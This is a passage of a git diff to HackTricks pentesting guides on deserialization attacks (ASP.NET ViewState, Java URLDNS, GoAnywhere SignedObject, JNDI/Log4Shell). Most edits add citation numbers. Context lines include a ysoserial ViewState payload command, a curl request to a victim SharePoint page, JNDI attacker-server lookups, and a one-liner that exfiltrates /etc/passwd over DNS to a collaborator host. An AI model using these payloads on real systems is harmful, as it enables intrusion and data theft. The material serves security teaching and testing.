Context-Specific Deserialization Filters](https://openjdk.org/jeps/415) -- [GitHub Security Lab: GHSL-2022-085 / CVE-2023-25581 (`pac4j-core` deserialization leading to RCE)](https://securitylab.github.com/advisories/GHSL-2022-085_pac4j/) +- [1] [OpenJDK JEP 415: Context-Specific Deserialization Filters](https://openjdk.org/jeps/415) +- [2] [GitHub Security Lab: GHSL-2022-085 / CVE-2023-25581 (`pac4j-core` deserialization leading to RCE)](https://securitylab.github.com/advisories/GHSL-2022-085_pac4j/) +- [3] [Java Deserialization Tool: GadgetInspector First Glimpse](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) +- [4] [Spring Security Advisory: CVE-2023-34040 (Spring for Apache Kafka)](https://spring.io/security/cve-2023-34040) +- [5] [Aerospike Security Advisory: CVE-2023-36480 - Aerospike Java Client vulnerable to unsafe deserialization of server responses](https://github.com/aerospike/aerospike-client-java/security/advisories/GHSA-jj95-55cr-9597) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md b/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md index 2da724127c9..18605d06422 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -If you **don't know the keys yet**, start with [the sister page about recovering / guessing them](exploiting-__viewstate-parameter.md). This page is for the case where you already have the **`validationKey`** (and sometimes the **`decryptionKey`**) and want to **forge a valid malicious `__VIEWSTATE`**. +If you **don't know the keys yet**, start with [the sister page about recovering / guessing them](exploiting-__viewstate-parameter.md). This page is for the case where you already have the **`validationKey`** (and sometimes the **`decryptionKey`**) and want to **forge a valid malicious `__VIEWSTATE`**.[[1]](#references) ## When is the secret enough? @@ -121,7 +121,7 @@ Although POST is the common delivery path, some applications also parse `__VIEWS Once you know the keys, test the pages that are both **reachable pre-auth** and **guaranteed to post back** before spending time on random forms. Recent real-world examples include: - SharePoint `/_layouts/15/ToolPane.aspx` (see the [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md)) -- Sitecore `/sitecore/blocked.aspx`, which was abused in 2025 when older deployments reused a published sample `machineKey` +- Sitecore `/sitecore/blocked.aspx`, which was abused in 2025 when older deployments reused a published sample `machineKey`[[3]](#references) In practice, license, error, login, and admin helper pages are often better initial sinks than the main application workflow because they expose a stable hidden `__VIEWSTATE` field without requiring a full authenticated UI path. @@ -135,9 +135,9 @@ On **.NET 4.5+**, the secret is reused with a **different cryptographic purpose This workflow is still very relevant because attackers increasingly do **not** need an additional bug once the keys are known: -- Microsoft reported in **February 2025** that threat actors were abusing **publicly disclosed ASP.NET machine keys** to generate valid malicious ViewState blobs. -- Mandiant documented in **September 2025** that Sitecore deployments reusing an old **sample `machineKey`** could be hit pre-auth through `/sitecore/blocked.aspx`, turning a documentation mistake into direct ViewState RCE. -- SANS observed in **August 2025** that post-exploitation SharePoint activity frequently included **dumping machine keys first**, because one recovered key pair can be replayed laterally against sibling IIS applications. +- Microsoft reported in **February 2025** that threat actors were abusing **publicly disclosed ASP.NET machine keys** to generate valid malicious ViewState blobs.[[2]](#references) +- Mandiant documented in **September 2025** that Sitecore deployments reusing an old **sample `machineKey`** could be hit pre-auth through `/sitecore/blocked.aspx`, turning a documentation mistake into direct ViewState RCE.[[3]](#references) +- SANS observed in **August 2025** that post-exploitation SharePoint activity frequently included **dumping machine keys first**, because one recovered key pair can be replayed laterally against sibling IIS applications.[[4]](#references) - In shared IIS / SharePoint farms, one recovered key pair can often be **replayed laterally** against sibling applications that trust the same configuration. So, once you recover a single valid key pair, immediately test: @@ -149,9 +149,9 @@ So, once you recover a single valid key pair, immediately test: ## References -- [Exploiting Deserialisation in ASP.NET via ViewState](https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate) -- [Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) -- [ViewState Deserialization Zero-Day Vulnerability in Sitecore Products](https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability) -- [Stealing Machine Keys for fun and profit (or riding the SharePoint wave)](https://isc.sans.edu/diary/32174) +- [1] [Exploiting Deserialisation in ASP.NET via ViewState](https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate) +- [2] [Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [3] [ViewState Deserialization Zero-Day Vulnerability in Sitecore Products](https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability) +- [4] [Stealing Machine Keys for fun and profit (or riding the SharePoint wave)](https://isc.sans.edu/diary/32174) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index e831aeb2116..85f901f754e 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -6,7 +6,7 @@ ## What is ViewState -**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields. +**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.[[1]](#references)[[2]](#references) ViewState information can be characterized by the following properties or their combinations: @@ -19,7 +19,7 @@ ViewState information can be characterized by the following properties or their ## Test Cases -The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content: +The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:[[3]](#references) 1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it. 2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r." @@ -80,7 +80,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --modifier : __VIEWSTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known `machineKey` values. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. The old standalone `blacklist3r.py` helper was removed, so the **current** workflow is to use the main `badsecrets` CLI in URL mode: +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known `machineKey` values. It is written in Python, so unlike Blacklist3r, there is no Windows dependency.[[4]](#references) The old standalone `blacklist3r.py` helper was removed, so the **current** workflow is to use the main `badsecrets` CLI in URL mode: ```bash pip install badsecrets @@ -126,7 +126,7 @@ Recent `ysoserial.net` documentation explicitly notes that `--generator` is main ### Exploiting recycled `` values at scale -Ink Dragon (2025) demonstrated how dangerous it is when administrators **copy the sample `` blocks published in Microsoft docs, StackOverflow answers or vendor blogs**. Once a single target leaks or reuses those keys across the farm, every other ASP.NET page that trusts ViewState can be hijacked remotely without any additional vulnerability. +Ink Dragon (2025) demonstrated how dangerous it is when administrators **copy the sample `` blocks published in Microsoft docs, StackOverflow answers or vendor blogs**. Once a single target leaks or reuses those keys across the farm, every other ASP.NET page that trusts ViewState can be hijacked remotely without any additional vulnerability.[[6]](#references) 1. **Build a candidate wordlist** with the leaked `validationKey`/`decryptionKey` pairs (e.g. scrape public repos, Microsoft blog posts, or keys recovered from one host in the farm) and feed it to Blacklist3r/Badsecrets: @@ -185,7 +185,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --TargetPagePath = {Target page path in application} ``` -For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)[[1]](#references) Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets), let URL mode carve the page and test the captured ViewState / generator automatically: @@ -206,7 +206,7 @@ If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--ge ![Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true - Test Case: 4 – .Net = 4.5 and EnableViewStateMac=true/false and...](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). +A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).[[3]](#references) ### Test Case 6 – ViewStateUserKeys is being used @@ -221,7 +221,7 @@ You need to use one more parameter in order to create correctly the payload: For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server often responds with a `500 Internal Server Error` containing text such as `The state information is invalid for this page and might be corrupted`, while the **out-of-band request still fires**. -For more background on this behavior, review the [NotSoSecure writeup](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/). +For more background on this behavior, review the [NotSoSecure writeup](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/).[[3]](#references) ### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell) @@ -258,12 +258,12 @@ curl -d "__VIEWSTATE=" https://victim/_layouts/15/ToolPane.aspx Use `--generator` and `--islegacy` only when you know the page is using the **legacy** signing logic (**.NET <= 4.0**). If you need the exact flag combinations after obtaining the keys, check the [sister page about exploiting ViewState when the secret is known](exploiting-__viewstate-knowing-the-secret.md). -This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771); see the related [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md). The same technique is applicable to any ASP.NET application where an attacker can run server-side code. +This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771); see the related [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md).[[5]](#references) The same technique is applicable to any ASP.NET application where an attacker can run server-side code. ## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys ### Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025) -Microsoft described mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with recent `ysoserial.net` options such as `--minify` and `--islegacy`: +Microsoft described mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites).[[7]](#references) Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with recent `ysoserial.net` options such as `--minify` and `--islegacy`: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ @@ -275,7 +275,7 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ Targets that keep reusing the same static keys across farms stay vulnerable indefinitely, so prioritize legacy deployments that still expose hard-coded material. ### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys -Kudelski Security and later defenders observed a very practical pattern: products shipping with **static / hard-coded `machineKey` values** turn ViewState deserialization into an **internet-scale** issue. In the CentreStack / Triofox case, unauthenticated attackers could forge `__VIEWSTATE` for the login page because every installation trusted the same keys. +Kudelski Security and later defenders observed a very practical pattern: products shipping with **static / hard-coded `machineKey` values** turn ViewState deserialization into an **internet-scale** issue. In the CentreStack / Triofox case, unauthenticated attackers could forge `__VIEWSTATE` for the login page because every installation trusted the same keys.[[8]](#references) One-liner exploit: @@ -292,9 +292,13 @@ This is a good reminder that **recovering one valid key pair is often enough to ## References -- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) -- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/) - +- [1] [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +- [2] [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) +- [3] [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) +- [4] [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [5] [SharePoint "ToolShell" exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) +- [6] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) +- [7] [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [8] [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md index 02cd69036fb..d4e45efd88f 100644 --- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md +++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md @@ -65,7 +65,7 @@ As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode( You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**. -Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution). +Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution).[[1]](#references) ### URLDNS payload code example @@ -134,10 +134,7 @@ class SilentURLStreamHandler extends URLStreamHandler { } ``` -### More information - -- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) -- In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) +In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)[[2]](#references) ## GadgetProbe @@ -147,20 +144,16 @@ You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) fro ### How does it work -**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**. +**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**.[[3]](#references) Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested. ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>) -### More Information - -- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) - ## Java Deserialization Scanner This scanner can be **download** from the Burp App Store (**Extender**).\ -The **extension** has **passive** and active **capabilities**. +The **extension** has **passive** and active **capabilities**.[[4]](#references) ### Passive @@ -194,11 +187,11 @@ Make your payload execute something like the following: (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` -### More Information +## References -- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) +- [1] [Triggering a DNS lookup using Java deserialization](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) +- [2] [Detecting Deserialization Bugs with DNS Exfiltration](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) +- [3] [GadgetProbe research](https://know.bishopfox.com/research/gadgetprobe) +- [4] [Reliable Discovery and Exploitation of Java Deserialization Vulnerabilities](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md b/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md index 9ac13a0588a..db691e3a32d 100644 --- a/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md +++ b/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Check the posts: - -- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) -- [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/) - -{{#include ../../banners/hacktricks-training.md}} +Check the posts:[[1]](#references)[[2]](#references) +## References +- [1] [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) +- [2] [Arkham - Hack The Box writeup (0xRick)](https://0xrick.github.io/hack-the-box/arkham/) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md index caa4f1ce0c1..ed813321a75 100644 --- a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md +++ b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page documents a common "guarded" Java deserialization pattern built around java.security.SignedObject and how seemingly unreachable sinks can become pre-auth reachable via error-handling flows. The technique was observed in Fortra GoAnywhere MFT (CVE-2025-10035) but is applicable to similar designs. +This page documents a common "guarded" Java deserialization pattern built around java.security.SignedObject and how seemingly unreachable sinks can become pre-auth reachable via error-handling flows. The technique was observed in Fortra GoAnywhere MFT (CVE-2025-10035) but is applicable to similar designs.[[1]](#references) ## Threat model @@ -68,7 +68,7 @@ Example reachability chain (GoAnywhere MFT): - Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does: - SessionUtilities.generateLicenseRequestToken(session) - Redirects to vendor license server with a signed license request in bundle=<...> -- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/ with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth. +- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/ with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.[[1]](#references) Proof-of-reachability (impact-less) probe: @@ -82,7 +82,7 @@ Host: ## Blue-team detection -Indicators in stack traces/logs strongly suggest attempts to hit a SignedObject-gated sink: +Indicators in stack traces/logs strongly suggest attempts to hit a SignedObject-gated sink:[[1]](#references) ``` java.io.ObjectInputStream.readObject @@ -132,11 +132,11 @@ Content-Type: application/x-www-form-urlencoded bundle= ``` -3) RCE requires a correctly signed SignedObject wrapping a gadget chain. Researchers could not bypass signature verification; exploitation hinges on access to a matching private key or a signing oracle. +3) RCE requires a correctly signed SignedObject wrapping a gadget chain. Researchers could not bypass signature verification; exploitation hinges on access to a matching private key or a signing oracle.[[1]](#references) ## Fixed versions and behavioural changes -- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3: +- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:[[2]](#references) - Harden inner deserialization by replacing SignedObject.getObject() with a wrapper (deserializeUntrustedSignedObject). - Remove error-handler token generation, closing pre-auth reachability. @@ -146,7 +146,7 @@ The reachability trick leverages a JSF page (.xhtml) and invalid javax.faces.Vie ## References -- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) -- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012) +- [1] [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) +- [2] [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md index 1defde4cd78..43ce21d4898 100644 --- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md +++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md @@ -224,11 +224,10 @@ public class CommonsCollections1Sleep { ## More Gadgets -You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - -## - -{{#include ../../banners/hacktricks-training.md}} +You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)[[1]](#references) +## References +- [1] [Blind Java Deserialization - Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index e714bd4090c..e2e87a3b822 100644 --- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -27,13 +27,13 @@ Examples of exploitable URLs include: - _ldap://attacker-server/bar_ - _iiop://attacker-server/bar_ -Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections. +Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.[[1]](#references)[[2]](#references) ### JNDI Example ![JNDI Naming Reference - JNDI Example: Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of...](<../../images/image (1022).png>) -Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him. +Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.[[1]](#references)[[2]](#references) ### CORBA Overview @@ -49,11 +49,11 @@ Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves - Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`. - File read permissions, either universally (`permission java.io.FilePermission "<>", "read";`) or for specific directories where malicious files might be placed. -However, some vendor policies might be lenient and allow these connections by default. +However, some vendor policies might be lenient and allow these connections by default.[[1]](#references)[[2]](#references) ### RMI Context -For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA. +For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.[[1]](#references)[[2]](#references) ### LDAP @@ -66,14 +66,14 @@ If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with Therefore, there are several ways to attack these options.\ An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example. -In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell). +In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).[[1]](#references)[[2]](#references) #### Deserialization exploit ![LDAP - Deserialization exploit: Deserialization exploit](<../../images/image (275).png>) The **exploit is serialized** and will be deserialized.\ -In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath. +In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.[[1]](#references)[[2]](#references) #### JNDI Reference exploit @@ -89,33 +89,33 @@ The vulnerability is introduced in Log4j because it supports a [**special syntax With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged. -Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated. +Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.[[3]](#references) ## Overview of Log4Shell-Related CVEs ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]** -This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)). +This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).[[4]](#references) ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]** -Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A 